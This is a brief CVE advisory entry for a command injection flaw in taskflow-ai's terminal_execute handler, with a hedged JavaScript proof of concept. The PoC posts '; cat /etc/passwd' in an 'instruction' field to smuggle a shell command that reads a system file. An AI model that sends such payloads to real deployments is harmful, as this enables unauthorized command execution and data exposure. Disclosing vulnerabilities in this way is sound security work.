CVE-2026-5831: taskflow-ai远程命令注入漏洞

// Conceptual PoC for CVE-2026-5831 // Target: Agions taskflow-ai <= 2.1.8 // Vulnerability: OS Command Injection in terminal_execute // Malicious payload designed to inject a shell command const payload = "; cat /etc/passwd"; // Hypothetical request to the vulnerable handler // The application likely takes a command argument and executes it fetch('http://target-host/api/terminal/execute', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <low_privilege_token>' }, body: JSON.stringify({ instruction: payload // The vulnerable parameter }) }) .then(response => response.text()) .then(data => console.log(data)); // If vulnerable, the server will execute 'original_command; cat /etc/passwd'